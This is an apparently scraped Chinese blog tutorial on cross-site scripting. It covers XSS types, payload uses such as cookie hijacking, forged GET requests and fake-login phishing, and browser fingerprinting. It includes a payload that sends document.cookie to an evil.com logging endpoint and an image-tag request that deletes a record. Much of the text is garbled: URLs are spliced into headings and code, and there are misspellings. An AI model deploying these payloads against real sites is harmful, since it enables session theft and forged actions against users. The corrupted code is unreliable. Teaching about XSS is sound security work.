【XSS】
文章目录
- 0https://blog.csdn.net/qq_58553228/article/details/x01 简介
- 0https://blog.csdn.net/qq_58553228/article/details/x02 XSS Payload用法
- XSS攻击平台及调试JavaScript
- 0https://blog.csdn.net/qq_58553228/article/details/x03 XSS绕过
- XSS漏洞防御策略
跨站脚本攻击,Cross Site Script。(重点在于脚本script)
有关XSS可以造成的 危害,见 0https://blog.csdn.net/qq_58553228/article/details/x02 XSS Payload用法
分类
- 反射型、
- 存储型
- DOM型
漏洞原理:通过插入script篡改“HTML”内容,控制浏览器的一种攻击。也可以说 诱导用户执行XSS Payload.
常用脚本标签: alert('hack');
0https://blog.csdn.net/qq_58553228/article/details/x01 简介
-
反射型 / 非持久型XSS
定义:用户点击恶意URL,发送给server,server返回相关内容给浏览器。
前提:用户已经 处于某种 登录状态
示例:
攻击方式:注入、诱导点击
-
存储型 / 持久性XSS
定义:将含有script的文本/文件/数据等的 用户输入,存储到server。
攻击方式:存储内容的地方如博客,文件上传的地方。
- DOM型
定义:修改页面的DOM节点形成。从效属于反射型XSS。
攻击方式:用户直接执行含有恶意的DOM;(其实就是恶意html)
前提:用户处 登录状态,用户被诱导点击。
示例:
将 替换下面的a标签。
0https://blog.csdn.net/qq_58553228/article/details/x02 XSS Payload用法
(实现XSS攻击script,被 称为“XSS Payload”)
- cookie攻击/cookie劫持
- 构造GET与POST请求
- XSS钓鱼
- 识别浏览器
- 识别软件
- 真实IP
- cookie劫持示例:
//1 使用户 加载远程脚本 http://www.a.com/test.htm?abc="> //2 在evil.js中的代码窃取Cookie var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img); //3 到server看cookie,登录相同页面输入
防止“Cookie劫持”方法:Cookied的“HttpOnlu”标识
- 构造GET与POST请求
具体方式:构造url、图片或表单、通过XMLHttpRequest发送一个POST请求。
# 构造相关url http://../XX?m=delete&id=123383 # 构造并插入图片 var img = document.createElement("img"); img.src = "http://https://blog.csdn.net/qq_58553228/article/details/xhttps://blog.csdn.net/qq_58553228/article/details/x?m=delete&id=123383"; document.body.appenChild(img);
(构造时,若js麻烦,直接使用html)
-
XSS钓鱼
实现思路:利用JS在页面伪造登录框,输入密码后被发送到黑客的server。(被用来窃取密码。)
-
识别用户浏览器
为深入渗透时,可能需要知道用户个人信息,就可能要进行浏览器内存攻击,给计算机植入木马。
方法:用JS获取浏览器User-Agent;
缺点:可被代理伪造;
更准确的方法:根据不通浏览器,同一浏览器不通版本差别 来识别。
安全研究者Gareth Heyes曾经找到一种更巧妙的方法。
//Firefohttps://blog.csdn.net/qq_58553228/article/details/x detector 2/3 by DoctorDan FF=/a/[-1]=='a' //Firefohttps://blog.csdn.net/qq_58553228/article/details/x 3 by me:- FF3=(function https://blog.csdn.net/qq_58553228/article/details/x(){})[-5]=='https://blog.csdn.net/qq_58553228/article/details/x' //Firefohttps://blog.csdn.net/qq_58553228/article/details/x 2 by me:- FF2=(function https://blog.csdn.net/qq_58553228/article/details/x(){})[-6]=='https://blog.csdn.net/qq_58553228/article/details/x' //IE detector I posted previously IE='\v'=='v' //Safari detector by me Saf=/a/.__proto__=='//' //Chrome by me Chr=/source/.test((/a/.toString+'')) //Opera by me Op=/^function \(/.test([].sort) //IE6 detector using conditionals try {IE6=@cc_on @_jscript_version })[-5]=='https://blog.csdn.net/qq_58553228/article/details/x'?'FF3':(function https://blog.csdn.net/qq_58553228/article/details/x(){})[-6]=='https://blog.csdn.net/qq_58553228/article/details/x'?'FF2':/a/ [-1]=='a'?'FF':'\v'=='v'?'IE':/ a/.__proto__=='//'?'Saf':/s/. test(/a/.toString)?'Chr':/^function \(/.test([].sort)?'Op':'Unknown'
-